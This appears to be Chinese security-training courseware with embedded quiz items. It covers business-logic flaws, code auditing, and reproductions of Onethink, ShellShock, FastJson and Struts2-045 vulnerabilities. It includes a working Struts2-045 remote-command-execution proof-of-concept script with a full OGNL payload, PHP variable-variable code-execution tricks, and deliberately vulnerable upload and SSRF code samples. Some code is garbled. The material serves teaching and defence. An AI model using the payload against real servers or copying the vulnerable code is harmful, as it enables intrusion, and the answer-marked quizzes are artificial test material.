http://video.twosecurity.cn/%E4%B8%9A%E5%8A%A1%E9%80%BB%E8%BE%91%E6%BC%8F%E6%B4%9E%EF%BC%88%E4%BA%8C%EF%BC%89/8%E4%BF%AE%E6%94%B9%E6%94%AF%E4%BB%98%E9%87%91%E9%A2%9D.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/94698700_1566979663.png

在网络安全中,未公开进行修复的漏洞叫什么?|os漏洞|waf漏洞|黑客漏洞|!0day漏洞

支付数量

这中案例也比较常见,产生的原因是开发人员没有对购买的数量参数进行严格的限制。这种同样是数量的参数没有做签名,导致可随意修改,经典的修改方式就是改成负数。 当购买的数量是一个负数时,总额的算法依然是“购买数量×单价=总价”。所以这样就会导致有一个负数的支付金额。若支付成功,则可能导致购买到了一个负数数量的产品,也有可能返还相应的价钱到你的帐户上。
http://video.twosecurity.cn/%E4%B8%9A%E5%8A%A1%E9%80%BB%E8%BE%91%E6%BC%8F%E6%B4%9E%EF%BC%88%E4%BA%8C%EF%BC%89/9%E4%BF%AE%E6%94%B9%E6%94%AF%E4%BB%98%E6%95%B0%E9%87%8F.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/17027700_1566979664.png

Metasploit的说法错误的是|是一款开源安全漏洞检测工具|!可扫描是否存在0day漏洞|可进行SSH服务器扫描|集成了载荷生成器、载荷编码器、空指令生成器的功能

并发逻辑漏洞

并发漏洞主要是测试服务器是否会响应多次的请求。 比如,一个签到积分活动,我们拦截下签到的请求包,复制该请求n个,然后全选一并发送,查看响应结果,如果全部为200ok,观察积分是否多出很多,以此来检测是否存在并发逻辑漏洞。
http://video.twosecurity.cn/%E4%B8%9A%E5%8A%A1%E9%80%BB%E8%BE%91%E6%BC%8F%E6%B4%9E%EF%BC%88%E4%BA%8C%EF%BC%89/10%E5%B9%B6%E5%8F%91%E6%8F%90%E7%8E%B0.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/68036100_1566979664.png

众所周知,ping命令会向目标发送几个请求包,默认的间隔时间为?|!1s|5ms|10ms|100ms

优惠券逻辑漏洞

通过遍历获取大量优惠券,在前端页面更改参数导致查询结果出错,生成新的优惠券。
http://video.twosecurity.cn/%E4%B8%9A%E5%8A%A1%E9%80%BB%E8%BE%91%E6%BC%8F%E6%B4%9E%EF%BC%88%E4%BA%8C%EF%BC%89/11%E4%BC%98%E6%83%A0%E5%88%B8.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/88992100_1566979664.png

以下说法正确的是|扫描器可以直接攻击网络漏洞|!MS12-020是一种远程溢出型攻击漏洞|对于漏洞引起的病毒攻击,应该先杀杀毒后打补丁|所有的漏洞都是可以通过打补丁来弥补的

回顾总结

让事物以迥异于初衷的方式运作

挖掘任何的安全漏洞,我们都应该有这样的想法,就是要不断地尝试,改变事物原本的运作方式,让它不用正常的方式运行,导致安全问题的产生。
http://video.twosecurity.cn/%E4%B8%9A%E5%8A%A1%E9%80%BB%E8%BE%91%E6%BC%8F%E6%B4%9E%EF%BC%88%E4%BA%8C%EF%BC%89/12%E6%80%BB%E7%BB%93.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/43940600_1566979665.png
挖掘逻辑漏洞时,需要进行前后功能逻辑上的关联,需要不断地尝试,才会有意想不到的收获。
在Windows 的命令行窗口输入()8.8.8.8,得到下所示的运行结果。1 3 ms 1 ms * 192.168.0.1 2 1 ms 5 ms 4 ms 192.168.1.1 3 7 ms 6 ms 4 ms 100.64.0.1 4 * 5 ms * 220.167.85.213 5 7 ms 8 ms 9 ms 172.28.23.81 6 30 ms 32 ms 34 ms 202.97.65.197 7 34 ms 31 ms * 202.97.94.122 8 44 ms 44 ms * 202.97.12.25 9 43 ms 46 ms 46 ms 202.97.95.170 10 * * * 请求超时|ipconfig|ping|nslookup|!tracert

法律声明




(该课件仅用于信息防御技术教学 请勿用于其他用途)

代码审计原理

检查源代码中的安全缺陷,检查程序源代码是否存在安全隐患,或者有编码不规范的地方,通过自动化工具或者人工审查的方式,对程序源代码逐条进行检查和分析,发现这些源代码缺陷引发的安全漏洞,并提供代码修订措施和建议。
http://video.twosecurity.cn/jsmd123454561/1%E5%BC%80%E5%A7%8B%E5%AD%A6%E4%B9%A0.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/16852400_1568599802.png

代码审计是什么?|编译运行代码|代码美化、格式化|!分析代码缺陷|!优化代码,去除冗余代码

基本思路

主要由三个方面组成:
- 关键词 功能 通读代码

http://video.twosecurity.cn/jsmd123454561/2%E5%9F%BA%E6%9C%AC%E6%80%9D%E8%B7%AF.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/94763800_1568600315.png

如何验证php strcmp() 漏洞?|提交哈希值是以"0E"开头的值|提交两个相等的值|提交参数为字符串类型|!提交参数为数组或一个object即可

关键词

对一些存在漏洞的关键函数名进行定向筛选。
http://video.twosecurity.cn/jsmd123454561/3%E5%85%B3%E9%94%AE%E8%AF%8D%E6%90%9C%E7%B4%A2.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/77351700_1568613186.png

漏洞关键词
|getParamter、<%\=、param=XSS |Select 、from 、delete 、update、insert=SQL注入 |Upload、write、fileName 、filePath=文件上传 |DocumentBuilder、XMLStreamReader、SAXBuilder、SAXParserSAXReader、XMLReader=XML注入 |eval、system、exec=代码执行

功能

对可能存在漏洞的相关功能进行审计,常见的有:


- 程序初始安装 站点信息泄漏 文件上传 文件管理 登陆认证 数据库备份恢复 找回密码 验证码


http://video.twosecurity.cn/jsmd123454561/4%E6%A1%86%E6%9E%B6%E7%B1%BB%E5%AE%A1%E8%AE%A1.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/25959900_1568613014.png

上传文件功能
只要是能上传的地方,就都可能存在漏洞。常见的就两种:
- 格式没有限制,或者过滤不完善,导致各种任意文件上传。

- 文件名没有进行sql注入检测,很多程序员会忘记这一点,导致sql注入。因为文件名也是要存到数据库中的。

文件管理功能
如果程序员在开发中,直接将文件名或者文件路径在参数中传递,那么就可能导致攻击者利用../或者..\来进行跳转目录达到任意文件操作,比如任意文件读取。 另外,直接用文件名或者文件路径在参数中传递,还可能导致xss,因为程序可能需要在页面中输出文件名字,这个时候,若文件名字也没有过滤,那么就会存在xss攻击。
登录认证功能
登录认证功能不是指一个登录过程,而是整个操作过程中的认证。而现在认证又是基于cookie和session,程序又经常会把用户账号等认证信息放到cookie中,来保持用户可以长时间登录,不会因为session超时或者关闭浏览器就退出用户。但是,如果这段cookie没有进行加密,就会导致任意用户登录的漏洞,只需要知道用户的部分信息即可登录。
找回密码功能
找回密码的时候,有的网站做的不好,改密码不用填写旧密码,直接改,然后给用户发送验证码,但是由于验证码是纯数字,而且,如果验证码时间过长,那么就会被爆破出来。
定向对功能分析,下列错误的是|根据程序业务逻辑进行代码审计|对目标站点进行逐个访问浏览,观察有哪些功能|!对源代码进行通读,找出有哪些功能|如果存在登录认证功能,则定向审计源码中登录相关的代码段及其调用函数

通读代码

通读全文发作为一种最麻烦的方法也是最全面的审计方法,但是该方法也是一种必要的方法。 了解整个应用的业务逻辑,才能挖掘到更多更有价值的漏洞。
http://video.twosecurity.cn/jsmd123454561/5%E9%80%9A%E8%AF%BB%E5%85%A8%E6%96%87.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/96180500_1568612653.png

首先,通读代码是为了把握大局,其次根据定向功能针对每一项功能进行审计,最后就是敏感函数参数回溯了。 若是想快速找到漏洞,那么就根据危险函数回溯到变量,去进行审计。 若是想找到“精彩”的漏洞,那就要通读全文,理解逻辑。


通读技巧:

- 找函数集文件,往往函数集文件里面都包含通用函数。因此,可以在index.php文件或者一些功能性文件头部找到。 找配置文件,通常有config关键字,通过这个文件能了解程序的小部分功能,并且,如果配置文件中的参数以双引号括起来,那么就可能存在代码执行漏洞。只要我们在修改配置的时候,利用PHP可变变量的特性即可执行代码。 找安全过滤文件,安全过滤文件很重要,决定我们找到的可疑点能否利用。大多数应用程序都会在程序入口处对参数用函数进行过滤。 index文件,通过读index文件,可以了解整个程序运行流程,架构,包含的核心文件,不同目录的不同index文件有不同的实现方式。所以,最好将几个核心目录的index文件都读一遍。

以上内容没有涉及框架,如果有框架,那么难度还会更高。
上面提到PHP可变变量的特性,比如:

其中,$$a=‘two'’就等同于$one='two',可变变量指的实际就是$$a中的变量名部分(虽然这里变量名部分是$a)可以由另一个变量$a的值来命名。 因此最后输出结果是one two 再比如,像 这样的代码也是可以执行的。原理就在于双引号是解析执行,单引号是绝对的字符串。
有的写法在一些版本中不兼容。
下面几种写法是在所有版本中都能运行的写法:

"${【空格】phpinfo()}"; 第一个字符为空格 "${【Tab】phpinfo()}"; 第一个字符为tab "${/**/phpinfo()}"; 第一个字符为注释 "${【回车】phpinfo()}"; 第一个字符为回车 "${@phpinfo()}"; 第一个字符为@

原理就是可变变量内的花括号有这么一个规则,需要判断花括号内的内容是否为真正的代码,条件即是文本的第一个字符串是否为PHP语法解析引擎的分割字符和特殊的语法符号。 综上所述需要满足两个条件
- 双引号 让花括号内的内容被当做是代码
再看一个比较绕的代码:

这个比较绕就在于他是二次嵌套,实际上,只要将可变变量以及上面几个例子理解透彻,就会发现,不管怎么嵌套,只要最内层的phpinfo()执行了,那么网页就会显示相应信息。 附上一个也可以执行的三层嵌套:

总结


以下属于代码审计基本思路的是|!通读全文|!基于关键词|!基于功能点|基于漏洞

以下关于代码审计说法错误的是|代码审计是漏洞挖掘的重要手段|代码审计是白盒|代码审计可以较为全面的挖掘漏洞|!不同的代码审计思路在漏洞挖掘成果上没有区别

以下关于不同的代码审计思路说法正确的是|基于功能点的代码审计是审计效果最好的代码审计思路|!基于关键词的代码审计可以快速发现漏洞|!通读全文的代码审计可以发现一些非常规漏洞|!不同的代码审计思路各有优劣,在不同场景下进行不同的选择

法律声明




(该课件仅用于信息防御技术教学 请勿用于其他用途)

漏洞复现概述


什么是漏洞复现?
漏洞复现是指对某一漏洞进行还原验证的过程。
漏洞复现的意义?
很多人都会有这样的疑问,“为什么要进行漏洞复现?这些陈年漏洞复现还有什么意思?”,漏洞复现到底为何如此重要? 首先,要知道漏洞复现的漏洞是什么漏洞?大多数都是已经公开并且会造成严重威胁的漏洞。比如一些系统漏洞、软件漏洞等等。通过漏洞复现,第一我们可以认识到相关的系统知识,比如命令行、系统配置文件等等,第二对漏洞复现的认知,这个漏洞是如何产生的,是哪里的代码逻辑出现了问题。进行漏洞复现,我们不能简单的跟着别人的步骤走一遍或者连环境都不进行搭建就囫囵吞枣般看一遍别人的漏洞复现,然后就认为自己完成了一次漏洞复现,这样是不行的,没有任何意义,你只是知道有这个漏洞,除此之外你一无所知。简单的概括漏洞复现的三个点:搭建环境->实现漏洞->原理解析。要想真正地完成漏洞复现,这三个步骤缺一不可。
http://video.twosecurity.cn/%E9%80%9A%E7%94%A8%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%EF%BC%88%E4%B8%80%EF%BC%89/1%E5%BC%80%E5%A7%8B%E5%AD%A6%E4%B9%A0.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/90576200_1567149669.png

关于PoC的说法正确的是()|PoC是用来利用漏洞的|中文叫"有效载荷",指成功exploit之后,真正在目标系统执行的代码或指令|!指一段漏洞证明的代码|有了Exp才有PoC

漏洞复现环境


容器与虚拟机的本质区别?
虚拟机在宿主机器、宿主机器操作系统的基础上创建虚拟层、虚拟化的操作系统、虚拟化的仓库,然后再安装应用; 容器是宿主机器操作系统上创建Docker引擎,在引擎的基础上再安装应用。
http://video.twosecurity.cn/%E9%80%9A%E7%94%A8%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%EF%BC%88%E4%B8%80%EF%BC%89/2%E7%8E%AF%E5%A2%83.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/18482500_1567149670.png

docker的特点有()|容器占用空间很大|!多个容器可以共享一个镜像|!使程序具备可移植性,易于构建,并易于协作|部署和启动所需的时间都很长

Onethink 缓存 Getshell 漏洞


关键点

缓存文件的路径 用户注册成功并登陆成功 注册登陆必须每次抓包,url解码后再发包回去 每次注册和登陆在发包的时候URL-encode 必须勾选上再提交,否则会把换行符的url-encode当成字符串来处理;登陆的时候也需要抓包,在用户名前面加上换行符的URL-encode,且勾选上URL-encode


http://video.twosecurity.cn/%E9%80%9A%E7%94%A8%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%EF%BC%88%E4%B8%80%EF%BC%89/3.onethink.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/47000600_1567149670.png

【思考】我们可以向缓存文件写内容,怎么去利用这个漏洞?

网页恶意代码通常利用()来实现植入并进行攻击|DOS攻击|口令攻击|!IE浏览器的漏洞|U盘木马植入

逃逸注释符

通过逃逸注释符植入Getshell
http://video.twosecurity.cn/%E9%80%9A%E7%94%A8%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%EF%BC%88%E4%B8%80%EF%BC%89/3onething2.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/76194700_1567149670.png

下面说法错误的是()|所有的操作系统都可能有漏洞|防火墙也有漏洞|!有Getshell漏洞就不会受到病毒攻击|Getshell漏洞可能会导致数据泄露

ShellShock 破壳 漏洞


关于ShellShock:
ShellShock是一个BashShell漏洞
- 一般情况下,系统里面的Shell是有严格的权限控制的,如果没有相应的权限,是根本看不到某些命令的存在,更不要说执行这些命令 Bash在运行的过程中会调用操作系统的环境变量,并且会执行一些设置命令。通过ShellShock漏洞,入侵者可以把某些”本来没有权限执行的语句或者命令“,注入到环境变量里。当bash设置环境变量的时候,就会执行这些”被注入“命令。这样子便绕过用户权限的限制,把一些”没有权限执行的命令“,变成”具有执行权限的命令“了。 可以在系统内任意执行Bash命令语句

http://video.twosecurity.cn/%E9%80%9A%E7%94%A8%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%EF%BC%88%E4%B8%80%EF%BC%89/4shellshock.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/4157500_1567149671.png

有关ShellShock漏洞的说法错误的是()|此漏洞会错误的将“{}”花括号外的命令进行执行|导致大量数据泄露|Linux WEB Server一般可以提供CGI接口,允许远程执行Bash命令|!所有的Linux都有此漏洞

法律声明




(该课件仅用于信息防御技术教学 请勿用于其他用途)

FastJson 反序列化漏洞


关于fastjson:
是一个非常流行的库,可以将数据在 JSON 和 Java Object 之间互相转换。
利用:
想要使用 TemplatesImpl 的 _bytecodes 属性执行任意命令,有几个条件:
- 目标网站使用 fastjson 库解析 json 解析时设置了 Feature.SupportNonPublicField,否则不支持传入私有属性 目标使用的 jdk 中存在 TemplatesImpl 类
当然不排除有其他不需要 TemplatesImpl 的利用方法。
http://video.twosecurity.cn/%E9%80%9A%E7%94%A8%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%EF%BC%88%E4%BA%8C%EF%BC%89/5fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/39627200_1567151625.png

下列方法中,()最能有效地防止不安全的直接对象引用漏洞|使用参数化查询|过滤特殊字符串|使用cookie|!检测用户访问权限

DedeCMS 找后台

织梦内容管理系统(DedeCms) ,以简单、实用、开源而闻名,是国内最知名的PHP开源网站管理系统,也是使用用户最多的PHP类CMS系统。
http://video.twosecurity.cn/%E9%80%9A%E7%94%A8%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%EF%BC%88%E4%BA%8C%EF%BC%89/6.dedecms.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/70735100_1567151625.png

下列关于漏洞扫描技术和工具的描述中,错误的是()|!主动扫描工作方式类似于IDS|CVE为每个漏洞确定了唯一的名称和标准化的描述|X-Scanner采用多线程方式对指定IP地址段进行安全漏洞扫描|主动扫描可能会影响网络系统的正常运行

Struts2-045 漏洞

Struts2-045 漏洞是一个远程命令执行漏洞,在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵。 恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令。
受影响版本
Struts 2.3.5 – Struts 2.3.31 Struts 2.5 – Struts 2.5.10
漏洞危害
在default.properties文件中,struts.multipart.parser的值有两个选择,分别是jakarta和pell。其中的jakarta解析器是Struts 2框架的标准组成部分。默认情况下jakarta是启用的,所以该漏洞的严重性需要得到正视。
http://video.twosecurity.cn/%E9%80%9A%E7%94%A8%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%EF%BC%88%E4%BA%8C%EF%BC%89/7struts-045.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/71158200_1567151961.png

漏洞修复方案
漏洞触发点为Content-TypeHTTP头字段,故此可以添加action拦截器,过滤非法请求。
拦截类SecurityFilter.java代码:

import java.io.IOException; import javax.servlet.Filter; import javax.servlet.FilterChain; import javax.servlet.FilterConfig; import javax.servlet.ServletException; import javax.servlet.ServletRequest; import javax.servlet.ServletResponse; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; public class SecurityFilter extends HttpServlet implements Filter { private static final long serialVersionUID = 1L; public final String www_url_encode= "application/x-www-form-urlencoded"; public final String mul_data= "multipart/form-data "; public final String txt_pla= "text/plain"; public void doFilter(ServletRequest arg0, ServletResponse arg1,FilterChain arg2) throws IOException, ServletException { HttpServletRequest request = (HttpServletRequest) arg0; HttpServletResponse response = (HttpServletResponse) arg1; String contenType=request.getHeader("conTent-type"); if(contenType!=null&&!contenType.equals("")&&!contenType.equalsIgnoreCase(www_url_encode)&&!contenType.equalsIgnoreCase(mul_data)&&!contenType.equalsIgnoreCase(txt_pla)){ response.setContentType("text/html;charset=UTF-8"); response.getWriter().write("非法请求Content-Type!"); return; } arg2.doFilter(request, response); } public void init(FilterConfig arg0) throws ServletException { } }
将SecurityFilter.java文件编译为SecurityFilter.class,放入服务器路径为:/var/www/apache-tomcat-7.0.14/webapps/ROOT/WEB-INF/classes/ 修改web.xml(/var/www/apache-tomcat-7.0.14/webapps/ROOT/WEB-INF/web.xml)使得添加的拦截器生效 添加代码:
SecurityFilter SecurityFilter SecurityFilter /*
保存web.xml,然后重启tomcat,再次验证漏洞发现已被服务端拦截。
POC源码:

! /usr/bin/env python # encoding:utf-8 import urllib2 import sys from poster.encode import multipart_encode from poster.streaminghttp import register_openers def poc(): if len(sys.argv) < 3: print '''Usage: poc.py http://172.16.12.2/example/HelloWorld.action "command"''' sys.exit() register_openers() datagen, header = multipart_encode({"image": open("tmp.txt", "w+")}) header
="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" header
="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context
).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+str(sys.argv
)+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" request = urllib2.Request(str(sys.argv
),datagen,headers=header) response = urllib2.urlopen(request) print response.read() poc()

https://github.com/lijiejie/struts2_045_scan

Struts2-045漏洞的说法错误的是()|通过恶意构造HTTP数据包利用漏洞|无需任何前置条件以及启用任何插件|可在存在此漏洞的服务器上执行系统命令|!只能通过删除commons-fileupload-x.x.x.jar文件进行修复

总结回顾

通过对通用漏洞的漏洞复现,可以丰富个人在渗透测试的思维宽度,从而形成自己一整套的渗透体系。
http://video.twosecurity.cn/%E9%80%9A%E7%94%A8%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%EF%BC%88%E4%BA%8C%EF%BC%89/8%E6%80%BB%E7%BB%93%E5%9B%9E%E9%A1%BE.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/63420500_1567152091.png

以下关于缓冲区说法错误的是|堆栈溢出是缓冲区溢出的一种|缓冲区会造成严重后果|!缓冲区溢出属于主动攻击类型|如果缓冲区被写满,而程序没有去检查缓冲区边界,也没有停止接收数据,这时缓冲区溢出就会发生

法律声明




(该课件仅用于信息防御技术教学 请勿用于其他用途)

语言特性—PHP


PHP目录结构

- 放引用的库或者插件,文件夹名字一般叫 librarie、lib、plugin PHP项目中 vendor 文件夹是PHP的包管理器安装依赖代码存放的路径 视图代码文件夹一般叫 layout、theme、template、view 控制器文件夹一般叫 controller 公用的一些代码文件夹一般叫 common 一些工具函数可能放在 helper/util/tool 文件夹里 配置文件放在 config 文件夹里 components 或 modules: 这里有mvc的代码,把功能互相独立出来 route.php: 对不同的url调用不同的代码

http://video.twosecurity.cn/jsdm2142710547015752/1%E8%AF%AD%E8%A8%80%E7%89%B9%E6%80%A7%E2%80%94PHP.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/73296300_1568616244.png

以下针对php代码审计说法正确的是|A. PHP代码审计大部分情况下需要进行反编译反混淆|B. PHP代码审计不能使用通读全文的代码审计思路|!C. PHP代码审计需要注意使用框架情况和原生PHP两种情况|D. PHP代码审计遇到的框架时一定需要阅读框架源码

语言特性—Java

工欲善其事,必先利其器。


Java代码审计辅助工具

- Jetbrains IDEA(IDE) Sublime text(文本编辑器) JD-GUI(反编译) Fernflower(反编译) Bytecode-Viewer Eclipse(IDE) NetBeans(IDE)

http://video.twosecurity.cn/jsdm2142710547015752/2%E8%AF%AD%E8%A8%80%E7%89%B9%E6%80%A7%E2%80%94java.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/99636200_1568616334.png

以下关于Java代码审计说法错误的是|JAVA代码审计时需要用到反编译技术|Java代码审计中的框架大部分为MVC框架|Java web项目需要通过web.xml获取项目一些关键信息|!Java web常见的框架只有struts2框架

语言特性—ASP.NET

一般来说,在 asp.net 应用中,需要进行观察的文件有:aspx.cs、.cs、.ashx 和 dll文件

aspx.cs 是页面后的代码,aspx负责显示,服务器端的动作就是在aspx.cs定义的 .cs是类文件,公共类之类的 .ashx 是一般处理程序,主要用于写 web handler,可以理解成不会显示的 aspx页面,不过效率更高 dll 就是 cs文件编译之后的程序集


http://video.twosecurity.cn/jsdm2142710547015752/3%E8%AF%AD%E8%A8%80%E7%89%B9%E6%80%A7%E2%80%94ASP.NET.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/10927700_1568616350.png

以下关于asp/.net代码审计说法正确的是|A. asp/.net代码审计项目不需要掌握逆向技术|!B. aspx后缀文件是asp/.net web的入口文件|C. asp/.net web项目只能由C#语言开发|D. asp/.net web项目不是MVC结构

代码审计小结

作为新手,初学代码审计,肯定很多东西看不懂,怎么办? 这个问题会将一大批想学代码审计又没有开发背景的人难下去。我们唯有硬啃,把这硬骨头啃碎了,才能继续下去,否则代码会读的昏昏沉沉。 通过搜索引擎查阅相关函数的用法和作用,见的多了自然就进入这个领域了。初学代码审计,会有大批代码看不懂,只有死磕下去,才会看懂越来越多的代码,也为了以后审计逻辑漏洞打下基础。但是,也不能盲目死磕一个不会的点,这个度只能自己把握。 另外,要有一种属于个人的审计思路,每个人的习惯不同,代码审计的方式也就不同。
http://video.twosecurity.cn/jsdm2142710547015752/4%E6%80%BB%E7%BB%93.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/35756300_1568616679.png

以下针对几种不同语言的代码审计问题说法错误的是|A. classes或jar是java web编译后的字节码,在进行代码审计前需要进行反编译|B. PHP代码一般不需要进行反编译等预处理除非源代码被混淆处理的情况下|!C. 代码审计不需要任何反编译方面的知识|D. dll是.net开发的web项目编译后的文件,在进行代码审计前需要进行反编译

法律声明




(该课件仅用于信息防御技术教学 请勿用于其他用途)

漏洞审计-SQL注入

SQL 注入一般 fortify 都能扫描出来,手动审计一般直接搜索 select、update、delete、insert 关键词就会有收获如果 sql 语句中有出现 + append、 $() # 等字眼,如果没有配置 SQL 过滤文件,则判断存在 SQL 注入漏洞。
http://video.twosecurity.cn/jsmd8787574642973/SQL%E6%B3%A8%E5%85%A5.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/24252300_1568618886.png
当找到某个变量关键词有 SQL 注入漏洞时,还可以直接全局搜索那个关键词找出类似漏洞的文件,比如涉及SQL 注入漏洞的参数等等。
框架注入漏洞
像Struts2 远程代码执行漏洞这样的漏洞,如何进行审计? 查看 struts 插件的版本信息是否为漏洞版本。
http://video.twosecurity.cn/jsmd8787574642973/%E6%A1%86%E6%9E%B6%E6%BC%8F%E6%B4%9E.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/15020500_1568619306.png

SQL语句
|从表中选取数据=SELECT |用于删除表中的行=DELETE |用于向表格中插入新的行=INSERT INTO |用于修改表中的数据=Update

漏洞审计—代码执行

代码执行说的是可执行的脚本代码,命令执行就是可以执行系统命令(cmd)或者是应用指令(bash),这个漏洞也是因为传参过滤不严格导致的,一般我们说的php可执行命令的函数有这些:system();exec();shell_exec();passthru();pcntl_exec();popen();proc_open(); 反引号也是可以执行的,因为他调用了shell_exec这个函数。
http://video.twosecurity.cn/jsmd8787574642973/%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/26988900_1568619297.png

php函数
|执行一个外部程序=exec() |通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回=shell_exec() |在当前进程空间执行指定程序=pcntl_exec() |执行外部程序,并且显示输出=system() |打开进程文件指针=popen() |执行外部程序并且显示原始输出=passthre() |执行一个命令,并且打开用来输入/输出的文件指针=proc_open()

漏洞审计—文件上传

文件上传可以搜索以下关键词:(需注意有没有配置文件上传白名单)upload、write、fileName、filePath 在查看时,主要判断是否有检查后缀名,同时要查看配置文件是否有设置白名单或者黑名单。
http://video.twosecurity.cn/jsmd8787574642973/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/11120900_1568619462.png
下面的这种没检查:

List fileItems = servletFileUpload.parseRequest(request); for (int i = 0; i < fileItems.size(); ++i) { FileItem fi = (FileItem) fileItems.get(i); String strFileName = fi.getName(); if (strFileName != null && !"".endsWith(strFileName)) { String fileName = opId + "_" + getTimeSequence() + "."+ getFileNameExtension(strFileName); String diskFileName = path + fileName; File file = new File(diskFileName); if (file.exists()) { file.delete(); } fi.write(new File(diskFileName)); resultArrayNode.add(fileName); ...... private String getFileNameExtension(String fullFileName) { if (fullFileName == null) { return null; } int pos = fullFileName.lastIndexOf("."); if (pos != -1) { return fullFileName.substring(pos + 1, fullFileName.length()); } else { return null; } }


下列有关文件上传漏洞的说法正确的是()|!上传任意文件漏洞能够使攻击者通过上传木马文件,最终获得目标服务器的控制权限|对上传任意文件漏洞,只需要在客户端对上传文件大小、上传文件类型进行限制|Void func(char *str ){char buffer
; strcpy(buffer,str); return; } 代码存在文件上传漏洞|上传漏洞不需要webshell权限

漏洞审计—SSRF

SSRF漏洞一般位于远程图片加载与下载、图片或文章收藏功能、URL分享、通过URL在线翻译、转码等功能点处。进行代码审计时需要关注发起HTTP请求的类及函数。
http://video.twosecurity.cn/jsmd8787574642973/ssrf.mp4|http://wechatapppro-1252524126.file.myqcloud.com/appYbDKptvG2044/image/ueditor/96820500_1568619524.png

SSRF(Server-Side Request Forge, 服务端请求伪造)
攻击者让服务端发起指定的请求,SSRF攻击的目标一般是从外网无法访问的内网系统。Java中的SSRF支持sun.net.www.protocol 里的所有协议:http,https,file,ftp,mailto,jar,netdoc。相对于php,在 java 中SSRF的利用局限较大,一般利用http协议来探测端口,利用file协议读取任意文件。
SSRF漏洞防御

- 限制协议为HTTP、HTTPS协议 禁止30x跳转 设置URL白名单或者限制内网IP 限制请求的端口为http常用的端口
下面是几个SSRF漏洞代码示例:
HttpURLConnection

//HttpURLConnection ssrf vul String url = request.getParameter("url"); URL u = new URL(url); URLConnection urlConnection = u.openConnection(); HttpURLConnection httpUrl = (HttpURLConnection)urlConnection; BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream())); //发起请求,触发漏洞 String inputLine; StringBuffer html = new StringBuffer(); while ((inputLine = in.readLine()) != null) { html.append(inputLine); } System.out.println("html:" + html.toString()); in.close();

urlConnection

